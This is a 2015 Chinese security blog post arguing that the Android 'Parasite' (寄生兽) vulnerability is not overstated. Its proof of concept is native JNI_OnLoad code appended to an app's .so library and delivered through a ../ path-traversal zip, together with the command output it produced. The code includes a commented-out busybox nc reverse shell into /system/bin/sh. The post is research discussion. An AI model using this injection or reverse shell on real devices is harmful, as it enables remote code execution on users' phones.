Android寄生兽漏洞并非夸大

瘦蛟舞 | 2015-07-10 18:44

川大信安文章被夸大的安卓漏洞“寄生兽” 中指出

实际上大部分app都会将插件的缓存文件存放在私有目录下,由于Android的沙箱机制,攻击者要利用这个漏洞首先需要突破沙箱保护。可以看到,360提出的4种攻击场景全部利用了其他的漏洞或者app开发者的粗心大意,从而突破了沙箱保护。

另一方面,由于odex文件与VM版本相关,同一个odex无法在多个设备中正常运行,攻击者需要对识别不同的设备并适配不同的恶意odex,漏洞利用成本进一步加大。

总结一下漏洞利用成功的先决条件:

1.Android版本低于5.0

2.利用了其他可突破沙箱保护的 漏洞

3.适配设备的odex文件实例

文章理论均正确,但是我认为此漏洞并非夸大.

首先现在绝大部分手机都在 android5.0以下.其次利用解压缩../跨目录本就是此漏洞利用亮点之一.

再次注入的时候可以选择 so 这样就不需要适配机型(覆盖 arm 和 x64的即可)

jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)

{

    JNIEnv* env = NULL;

    jint result = -1;

    int ret;

    if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK) {

        return -1;

    }

    /* success -- return valid version number */

    result = JNI_VERSION_1_4;

//    ret = system("busybox nc 192.168.1.50 8088|/system/bin/sh|busybox nc 192.168.1.50 9999");

    ret = system("id > /sdcard/jni_id.txt");

    LOGI("ret value of system is %d",ret);

    return result;

}

ndk 编译上述代码后追加到原有 so,再利用制作../的压缩包 exp.

$ cat  /sdcard/jni_id.txt                                

uid=10158(u0_a158) gid=10158(u0_a158) groups=1015(sdcard_rw),1028(sdcard_r),3002(net_bt),3003(inet),50158(all_a158) context=u:r:untrusted_app:s0

PS:

2.DexClassLoader方法的第二个参数(即odex的存放路径)不要指定在sdcard上

这样写直接会报错…